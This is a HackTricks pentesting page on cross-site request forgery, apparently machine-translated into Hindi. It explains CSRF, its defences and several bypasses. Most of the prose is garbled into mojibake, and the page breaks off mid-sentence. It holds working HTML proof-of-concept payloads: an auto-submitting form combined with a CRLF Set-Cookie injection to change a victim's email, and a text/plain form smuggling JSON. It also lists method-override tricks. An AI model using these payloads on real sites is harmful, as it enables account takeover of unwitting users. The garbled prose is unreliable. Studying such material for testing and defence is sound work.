hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

38 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЕрдирдЬрд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдУрд░ рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЙрдирдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╕рддреНрд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ред рдпрд╣ рд╣рдорд▓рд╛ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ рдХрд┐рд╕реА рдкреАрдбрд╝рд┐рдд рдХреЗ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реИ, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдЗрдЯ рдлрд┐рд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░рдирд╛, рдпрд╛ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдирд╛ред

Prerequisites for a CSRF Attack

CSRF рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдИ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:

  1. рдПрдХ рдореВрд▓реНрдпрд╡рд╛рди рдХреНрд░рд┐рдпрд╛ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ: рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдРрд╕рд╛ рдХрд╛рд░реНрдп рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб, рдИрдореЗрд▓ рдмрджрд▓рдирд╛, рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛ред
  2. рд╕рддреНрд░ рдкреНрд░рдмрдВрдзрди: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рддреНрд░ рдХреЗрд╡рд▓ рдХреБрдХреАрдЬрд╝ рдпрд╛ HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреНрдп рд╣реЗрдбрд░ рдХрд╛ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред
  3. рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЕрднрд╛рд╡: рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдирд╣реАрдВ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╣рдорд▓реЗ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред

Quick Check

рдЖрдк Burp рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк Copy as fetch рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Defending Against CSRF

CSRF рд╣рдорд▓реЛрдВ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рддрд┐рдХреВрд▓ рдЙрдкрд╛рдп рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  • SameSite рдХреБрдХреАрдЬрд╝: рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд╕рд╛рде рдХреБрдХреАрдЬрд╝ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИред SameSite рдХреБрдХреАрдЬрд╝ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред
  • рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░рд┐рд╕реЛрд░реНрд╕ рд╢реЗрдпрд░рд┐рдВрдЧ: рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рдХреА CORS рдиреАрддрд┐ рд╣рдорд▓реЗ рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╣рдорд▓реЗ рдХреЛ рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛред CORS рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрдпрд╛рдкрди: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрдирд╛ рдпрд╛ рдХреИрдкреНрдЪрд╛ рд╣рд▓ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдордВрд╢рд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
  • рд░реЗрдлрд░рд░ рдпрд╛ рдУрд░рд┐рдЬрд┐рди рд╣реЗрдбрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛: рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдирд╛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдЖ рд░рд╣реЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, URLs рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рд╕реЗ рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ:
  • http://mal.net?orig=http://example.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ)
  • http://example.com.mal.net рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ)
  • рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдореЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди: POST рдпрд╛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдирд╛рдореЛрдВ рдХреЛ рдмрджрд▓рдирд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
  • CSRF рдЯреЛрдХрди: рдкреНрд░рддреНрдпреЗрдХ рд╕рддреНрд░ рдореЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп CSRF рдЯреЛрдХрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рдФрд░ рдЗрд╕ рдЯреЛрдХрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд░рдЦрдирд╛ CSRF рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрд╛рдлреА рдХрдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЯреЛрдХрди рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ CORS рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдЕрдЦрдВрдбрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред

Defences Bypass

From POST to GET

рд╢рд╛рдпрдж рдЬрд┐рд╕ рдлреЙрд░реНрдо рдХрд╛ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рд╡рд╣ CSRF рдЯреЛрдХрди рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдПрдХ GET рднреА рдорд╛рдиреНрдп рд╣реИ рдФрд░ рдпрджрд┐ рдЬрдм рдЖрдк GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ CSRF рдЯреЛрдХрди рдЕрднреА рднреА рдорд╛рдиреНрдп рд╣реИред

Lack of token

рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдПрдХ рддрдВрддреНрд░ рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЯреЛрдХрди рдХреА рд╡реИрдзрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬрдм рд╡реЗ рдореМрдЬреВрдж рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдХрдордЬреЛрд░реА рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдиреЗ рдкрд░ рдорд╛рдиреНрдпрддрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЫреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ рдЯреЛрдХрди рд▓реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╣рдЯрд╛ рдХрд░ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рди рдХрд┐ рдХреЗрд╡рд▓ рдЗрд╕рдХреЗ рдорд╛рди рдХреЛред рдЗрд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (CSRF) рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

CSRF token is not tied to the user session

рдЕрдиреБрдкреНрд░рдпреЛрдЧ CSRF рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░реЛрдВ рд╕реЗ рдирд╣реАрдВ рдЬреЛрдбрд╝рдиреЗ рдкрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рд╕рд┐рд╕реНрдЯрдо рдЯреЛрдХрдиреЛрдВ рдХреЛ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓ рдХреЗ рдЦрд┐рд▓рд╛рдл рдорд╛рдиреНрдп рдХрд░рддреЗ рд╣реИрдВ, рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдЖрд░рдВрднрд┐рдХ рд╕рддреНрд░ рд╕реЗ рдмрдВрдзрд╛ рд╣реБрдЖ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ:

  1. рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░реЗрдВред
  2. рд╡реИрдз CSRF рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓ рд╕реЗред
  3. рдЗрд╕ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдПрдХ CSRF рд╣рдорд▓реЗ рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд┐рд▓рд╛рдлред

рдпрд╣ рдХрдордЬреЛрд░реА рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреА рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЯреЛрдХрди рдорд╛рдиреНрдпрддрд╛ рддрдВрддреНрд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред

Method bypass

рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ "рдЕрдЬреАрдм" рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╡рд┐рдзрд┐ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ PUT рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк POST рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рднреЗрдЬреЗрдВ: https://example.com/my/dear/api/val/num?_method=PUT

рдпрд╣ POST рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрджрд░ _method рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬрдХрд░ рдпрд╛ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Custom header token bypass

рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдЯреЛрдХрди рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ CSRF рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ:

  • рдХрд╕реНрдЯрдорд╛рдЗрдЬреНрдб рдЯреЛрдХрди рдФрд░ рд╣реЗрдбрд░ рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред
  • рд╕рдЯреАрдХ рд╕рдорд╛рди рд▓рдВрдмрд╛рдИ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред

рдЕрдиреБрдкреНрд░рдпреЛрдЧ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЯреЛрдХрди рдХреЛ рдХреБрдХреА рдФрд░ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рджреЛрдиреЛрдВ рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдмреИрдХрдПрдВрдб рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдЯреЛрдХрди рдХреБрдХреА рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЯреЛрдХрди рдХреБрдХреА рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдРрд╕реЗ рджреЛрд╖ рд╣реИрдВ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ CRLF рдХрдордЬреЛрд░реА, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ CSRF рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рдХреЗ рдЬреЛ рдХреБрдХреА рд╕реЗрдЯ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж CSRF рд╣рдорд▓реЗ рдХреЛ рд╢реБрд░реВ рдХрд░рддреА рд╣реИред

рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ csrf рдЯреЛрдХрди рд╕рддреНрд░ рдХреБрдХреА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рддреЛ рдпрд╣ рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╕рддреНрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЖрдк рдЦреБрдж рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реЛрдВрдЧреЗред {% endhint %}

Content-Type рдкрд░рд┐рд╡рд░реНрддрди

рдЗрд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░, preflight рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП POST рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпреЗ рдЕрдиреБрдордд Content-Type рдорд╛рди рд╣реИрдВ:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреА рд▓реЙрдЬрд┐рдХ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ Content-Type рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдорд╛рдиреЛрдВ рдФрд░ рдЕрдиреНрдп рдЬреИрд╕реЗ application/json,text/xml, application/xml. рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЙрджрд╛рд╣рд░рдг ( рдпрд╣рд╛рдВ рд╕реЗ) JSON рдбреЗрдЯрд╛ рдХреЛ text/plain рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрдиреЗ рдХрд╛:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

JSON рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛

рдЬрдм POST рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ JSON рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ HTML рдлреЙрд░реНрдо рдореЗрдВ Content-Type: application/json рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реАрдзреЗ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рдЗрд╕реА рддрд░рд╣, рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП XMLHttpRequest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдПрдХ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ 